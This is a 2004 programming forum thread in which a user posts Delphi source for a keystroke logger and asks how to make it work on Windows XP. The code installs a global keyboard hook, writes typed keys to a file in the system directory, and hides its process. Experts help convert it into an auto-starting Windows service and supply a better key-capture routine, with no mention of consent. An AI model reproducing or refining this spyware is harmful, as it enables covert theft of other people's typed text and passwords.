Solved

Hooking in WinXP

Posted on 2004-08-29
11
544 Views
Last Modified: 2010-04-05
Please tell me what I should change the code below to use with WinXP?

-------------------- begin Exchange.pas --------------------------
unit Exchange;

interface

uses Windows;

type
PCommon = ^TCommon;
TCommon = record
 HookHandle: THandle;
 DumpName:String[255];
 Tick:DWord;
 Keys:String[255];
end;

const
UniqueHookId = '86385430-0AE6-1BD4-83D3-ECB44ef5700a';

var
CommonArea : PCommon = NIL;

implementation

var
hMapping : THandle = 0;
SysDir:array[0..Max_Path] of char;

initialization
hMapping := CreateFileMapping($FFFFFFFF, NIL, PAGE_READWRITE, 0,
 SizeOf(TCommon), UniqueHookId);
CommonArea := MapViewOfFile(hMapping, FILE_MAP_ALL_ACCESS, 0, 0, 0);
GetSystemDirectory(SysDir,Max_Path);
CommonArea^.DumpName:=String(SysDir)+'\lamer.dat';

finalization
if Assigned(CommonArea) then UnmapViewOfFile(CommonArea);
if hMapping <> 0 then CloseHandle(hMapping);
end.
-------------------- end Exchange.pas --------------------------

-------------------- begin hook.dpr --------------------------
library hook;
uses
 Windows,
 Exchange;

Procedure WriteToLog(k:String);
var
 DF:System.Text;
begin
{$I-}
Assign(DF,CommonArea^.DumpName);
Append(DF);
If IOresult<>0 then Rewrite(DF);
Write(DF,K);
Close(DF);
end;

Function KeyboardProc(code:integer;     // hook code
   wParam:WPARAM;     // virtual-key code
   lParam:LPARAM):LRESULT;stdcall;export;
var key:string;
begin
If Code>=0 then begin
 If (HiWord(lParam) and KF_UP)=0 then begin
       SetLength(Key,255);
       SetLength(Key,GetKeyNameText(lParam,PChar(Key),255));
   With CommonArea^ do Keys:=Keys+Key;
   end;
 If (GetTickCount-CommonArea^.Tick>10000)or(length(CommonArea^.Keys)>200) then begin
   WriteToLog(CommonArea^.Keys);
   CommonArea^.Keys:='';
   CommonArea^.Tick:=GetTickCount;
   end;
 end;
Result:=CallNextHookEx(CommonArea^.HookHandle,code,wParam,lParam);
end;

function SetHook(Activate : BOOL) : BOOL; stdcall; export;
begin
Result := FALSE;
if not Assigned(CommonArea) then Exit;
if Activate then begin
 CommonArea^.HookHandle := SetWindowsHookEx(WH_KEYBOARD,@KeyboardProc,hInstance, 0);
 Result := (CommonArea^.HookHandle <> 0);
end else
 if CommonArea^.HookHandle <> 0 then begin
  Result := UnhookWindowsHookEx(CommonArea^.HookHandle);
  if Result then CommonArea^.HookHandle := 0;
 end;
end;

exports
KeyboardProc,
SetHook;
begin
end.
-------------------- end hook.dpr --------------------------


-------------------- begin Loger.dpr --------------------------
program Loger;
uses
 Windows;

Type RegisterServiceProcess=function (dwProcessID, dwType:DWORD): Integer; stdcall;
Procedure Hide;
var hLibrary:THandle;
begin
hLibrary := LoadLibrary('KERNEL32.DLL');
if hLibrary > 32 then
 RegisterServiceProcess(GetProcAddress(hLibrary,'RegisterServiceProcess'))(GetCurrentProcessID,1);
end;

type SetHook = function (Activate: BOOL): BOOL; stdcall;
var
 hSetHook:Pointer;
 hinstDLL:  LongWord;
begin
hinstDLL:=LoadLibrary('hook.dll');
If hinstDLL=0 then exit;
Hide;
hSetHook := GetProcAddress(hinstDLL, 'SetHook');
SetHook(hSetHook)(True);
Sleep(INFINITE);
end.
-------------------- end Loger.dpr --------------------------
0
Comment
Question by:nvs28111962
11 Comments
 
LVL 11

Expert Comment

by:calinutz
ID: 11928922
This is what you should cjange....

" hLibrary := LoadLibrary('KERNEL32.DLL');
if hLibrary > 32 then
 RegisterServiceProcess(GetProcAddress(hLibrary,'RegisterServiceProcess'))(GetCurrentProcessID,1);
end; "
0
 
LVL 17

Expert Comment

by:Wim ten Brink
ID: 11931865
Actually...
  if hLibrary > 32 then
should be
  if hLibrary <> 0 then
...

It's a common mistake, though. In Windows 3.11 it would be valid because anything less than 33 was reserved for the system. These days however the LoadLibrary either returns 0 on an error or any other value if it's valid.

http://msdn.microsoft.com/library/default.asp?url=/library/en-us/win9x/95func_3t0z.asp

This function is Windows 9x specific. On Windows NT-based systems it just doesn't exist. You should just create a Service application instead, by using File/New, then select 'Service Application'.
0
 

Author Comment

by:nvs28111962
ID: 11938598
Alex, can you please explain me more about creating Service Application?
Thank you,
Sinh
0
 
LVL 17

Assisted Solution

by:Wim ten Brink
Wim ten Brink earned 250 total points
ID: 11940069
Actually, service applications are quite easy in Delphi, but only run on Windows versions based on NT technology. Basically, after File/New, then selecting "Service application" you already have a working system service. All you have to do is run it with the parameter /Install to install it or with /Uninstall to uninstall it.

System services can be displayed if you go to: 'Settings/Control Panel/Administrative tools/Services' where you can manage them. Some start automatically, other manually and a few might be disabled. Some will be running, others have stopped. Most services just run in the background but a few interact with the desktop. Services aren't that popular at the moment, though. They're a bit complex and hard to debug and it's almost impossible to find some good examples for it. But in general, some tips:

If you've done the file/new... stuff, you get a service module with several properties and events. The most interesting properties are the DisplayName, Interactive, ServiceType, StartType and perhaps the AllowPause/AllowStop properties. From the events, the OnStart, OnStop, OnPause and OnContinue are the most important ones, but as an alternative you could also use the OnExecute event instead.
If you use the OnExecute event for your service, your service will end when it's finished with this event. Thus in general you'd be using an everlasting loop in your event, leaving only when the service is terminated. I prefer to use the OnStart/OnStop methods instead, though. I create a separate thread in the OnStart and terminate it again in the OnStop. This way the service itself is more responsive too. (Basically, if your OnExecute event doesn't check for new messages, your service won't respond on anything.)

Since it seems you're generating a keyboard hook here, you actually have nothing to worry about, I think. In the OnStart you just call:
  SetHook(hSetHook)(True);
And in the OnStop you call:
  SetHook(hSetHook)(True);
In the OnCreate you open the hook.dll library which you close again in the OnDestroy. You do not need to call Sleep anywhere either since the service will run until stopped. The service might also start up automatically after reboot, thus it might be active before a user logs in. (But it won't capture the logon password!)

With system services you will have problems with access rights and security. And it can also happen that your service just freezes and there's no way to stop it. Which can be a real pain... You have to be a bit careful with them. And debugging a system service? I just let the service write log messages to a textfile instead of running it through the debugger. It's easier...
0
 

Author Comment

by:nvs28111962
ID: 11950164
Hi Alex,
please check for me the following code. It did not work when I build it in Delphi 7 and then run in WinXP.

----------begin of Hook.dpr---------------------
library Hook;
uses
  Windows;
var HookHandle:THandle;

Procedure WriteToLog(k:String);
var
 DF:Textfile;
begin  
{$I-}
Assign(DF,'keyboad.txt');
Rewrite(df);
Write(DF,K);
Closefile(DF);
end;

Function KeyboardProc(code:integer;     // hook code
   wParam:WPARAM;     // virtual-key code
   lParam:LPARAM):LRESULT;stdcall;export;
var key:string;
begin
If Code>=0 then
 If (HiWord(lParam) and KF_UP)=0 then begin
       SetLength(Key,255);
       SetLength(Key,GetKeyNameText(lParam,PChar(Key),255));
       WriteToLog(Key);
 end;
Result:=CallNextHookEx(HookHandle,code,wParam,lParam);
end;

function SetHook(Activate : BOOL) : BOOL; stdcall; export;
begin
Result := FALSE;
if Activate then begin
 HookHandle := SetWindowsHookEx(WH_KEYBOARD,@KeyboardProc,hInstance, 0);
 Result := (HookHandle <> 0);
end else
 if HookHandle <> 0 then begin
  Result := UnhookWindowsHookEx(HookHandle);
  if Result then HookHandle := 0;
 end;
end;

exports
KeyboardProc,
SetHook;
begin
end.

-------------end of Hook.dpr--------------------

-----------------------begin of ServiceProject.dpr-------------------------------
program ServiceProject;

uses
  SvcMgr,
  serviceUnit in 'serviceUnit.pas' {Service1: TService};

{$R *.RES}

begin
  Application.Initialize;
  Application.CreateForm(TService1, Service1);
  Application.Run;
end.
-------------------------end of ServiceProject.dpr-------------------------------

----------------begin of ServiceUnit.pas----------------
unit serviceUnit;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, SvcMgr, Dialogs;

type
  TService1 = class(TService)
    procedure ServiceStart(Sender: TService; var Started: Boolean);
    procedure ServiceStop(Sender: TService; var Stopped: Boolean);
    procedure ServiceCreate(Sender: TObject);
    procedure ServiceDestroy(Sender: TObject);
    procedure ServiceExecute(Sender: TService);
  private
    { Private declarations }
  public
   hSetHook:Pointer;
   hinstDLL:  LongWord;
    function GetServiceController: TServiceController; override;
    { Public declarations }
  end;

type SetHook = function (Activate: BOOL): BOOL; stdcall;

var
 Service1: TService1;

implementation

{$R *.DFM}

procedure ServiceController(CtrlCode: DWord); stdcall;
begin
  Service1.Controller(CtrlCode);
end;

function TService1.GetServiceController: TServiceController;
begin
  Result := ServiceController;
end;

procedure TService1.ServiceStart(Sender: TService; var Started: Boolean);
begin
SetHook(hSetHook)(True);
end;

procedure TService1.ServiceStop(Sender: TService; var Stopped: Boolean);
begin
SetHook(hSetHook)(True);
end;

procedure TService1.ServiceCreate(Sender: TObject);
begin
hinstDLL:=LoadLibrary('hook.dll');
If hinstDLL=0 then exit;
hSetHook := GetProcAddress(hinstDLL, 'SetHook');
end;

procedure TService1.ServiceDestroy(Sender: TObject);
begin
FreeLibrary(hinstDLL);
end;

procedure TService1.ServiceExecute(Sender: TService);
begin
repeat until false;
end;

end.
--------------------------end of ServiceUnit.pas----------------


Thank you,
nvs28111962
0
How your wiki can always stay up-to-date

Quip doubles as a “living” wiki and a project management tool that evolves with your organization. As you finish projects in Quip, the work remains, easily accessible to all team members, new and old.
- Increase transparency
- Onboard new hires faster
- Access from mobile/offline

 
LVL 17

Expert Comment

by:Wim ten Brink
ID: 11950238
Remove the ServiceExecute completely since it's stopping your service from processing any messages... You don't need it anyway.
0
 
LVL 17

Accepted Solution

by:
Wim ten Brink earned 250 total points
ID: 11950282
Okay, some explanation is in place here. Your service will have it's own thread and will be receiving messages from the system. If you don't provide an execute event, the service will use it's internal messagehandler. However, you can override this by defining an execute event in which case you control exactly what your service is doing. But in general this execute method is rarely used, except by the less experienced developers.
If you use an Execute method, you need to call 'ServiceThread.ProcessRequests()' quite regularly to have the service process any incoming messages.

Sometimes, when I need the service to perform some background task, I don't use the execute method but just generate a new thread that will do the background task. That way I still don't have to use the Execute method. But you don't need this because you just add a keyboard hook and this will be called whenever a keyboard message is received.

Oh, btw. You're calling SetHook with the parameter to "True" in both the Start and stop method. Is that logical?
0
 

Author Comment

by:nvs28111962
ID: 11950878
Hi Alex,

I removed ServiceExecute and change the parameter of SetHook in stop method to "False" but it did not anyway function. I run ServiceProject.exe and then reboot. After writing some words in the Notepad I could not find any 'keyboad.txt' in the same folder of the ServiceProject.exe. But it should be there according to WriteToLog of the Hook.dpr.

Please take a look again!

Thanks,
nvs28111962
0
 
LVL 17

Expert Comment

by:Wim ten Brink
ID: 11954459
Are you sure the service was running when you started it? Furthermore, it might be wise to use a full filename for the textfile, like "c:\Keyboard.txt'.
0
 
LVL 33

Assisted Solution

by:Slick812
Slick812 earned 100 total points
ID: 11969594
hello, , I'm not sure your KeyboardProc will do the job you want, have you tested this outside of a service to see if it works?

I might try something like

Function KeyboardProc(code:integer;     // hook code
   wParam:WPARAM;     // virtual-key code
   lParam:LPARAM):LRESULT;stdcall;export;
var
KeyState1: TKeyBoardState;
AryChar: Array[0..1] of Char;
Count: Integer;
begin
Result:=CallNextHookEx(HookHandle,code,wParam,lParam);
if Code = HC_ACTION then
if ((LPARAM and (1 shl 30)) <> 0) then
    begin
    GetKeyboardState(KeyState1);
    Count := ToAscii(WPARAM,LPARAM, KeyState1, AryChar, 0);
    if Count = 1 then
      begin
      WriteToLog(AryChar[0]);
      end;
    end;
 end;

end;
0
 

Author Comment

by:nvs28111962
ID: 11978863
Actually, the problem is that the service program does not run and load the library. Because, after I started the service program I tried to delete it and the library: it was successful... The same was when I've done reboot...
nvs28111962
0

Featured Post

Threat Intelligence Starter Resources

Integrating threat intelligence can be challenging, and not all companies are ready. These resources can help you build awareness and prepare for defense.

Join & Write a Comment

Objective: - This article will help user in how to convert their numeric value become words. How to use 1. You can copy this code in your Unit as function 2. than you can perform your function by type this code The Code   (CODE) The Im…
Introduction Raise your hands if you were as upset with FireMonkey as I was when I discovered that there was no TListview.  I use TListView in almost all of my applications I've written, and I was not going to compromise by resorting to TStringGrid…
Get a first impression of how PRTG looks and learn how it works.   This video is a short introduction to PRTG, as an initial overview or as a quick start for new PRTG users.
This video gives you a great overview about bandwidth monitoring with SNMP and WMI with our network monitoring solution PRTG Network Monitor (https://www.paessler.com/prtg). If you're looking for how to monitor bandwidth using netflow or packet s…

747 members asked questions and received personalized solutions in the past 7 days.

Join the community of 500,000 technology professionals and ask your questions.

Join & Ask a Question

Need Help in Real-Time?

Connect with top rated Experts

13 Experts available now in Live!

Get 1:1 Help Now